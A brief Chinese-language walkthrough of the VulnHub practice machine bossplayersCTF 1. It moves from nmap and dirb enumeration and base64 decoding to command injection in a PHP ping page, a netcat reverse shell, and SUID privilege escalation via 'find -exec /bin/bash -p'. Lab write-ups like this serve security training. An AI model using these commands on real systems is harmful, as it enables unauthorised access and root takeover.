靶机 DHCP 未能正确分配 IP ：看这里
靶机地址：http://www.vulnhub.com/entry/bossplayersctf-1,375/
正常流程，先上nmap
nmap -sV ip/mask
可见开放两个端口，ssh 和 http
先访问 http 看看，同时 dirb 去扫
给出网站，添加host
vim /etc/hosts
访问网站…和访问 ip 地址的网页一模一样，下一个
dirb http://ip
查看一下 txt
又是一串 base64 解密：
… 好吧下一个
查网页看 f12
发现一串加密信息，尝试解密
base64解密几次后得到一个 php 页面 ，访问
关键字 Test ping command - [ ] 可能存在命令执行漏洞
尝试：
能执行，那就好说了，上 nc 反弹 shell，并且使用python建立虚拟终端
python -c 'import pty;pty.spawn("/bin/bash")'
一番查看无果后，查看可执行具有SUID权限的命令
find / -perm -u=s -type f 2>/dev/null
//从根目录查找文件，且 u 权限为 s 文件类型为一般文件，将错误输出丢弃
find 提权
find . -exec /bin/bash -p \;
通关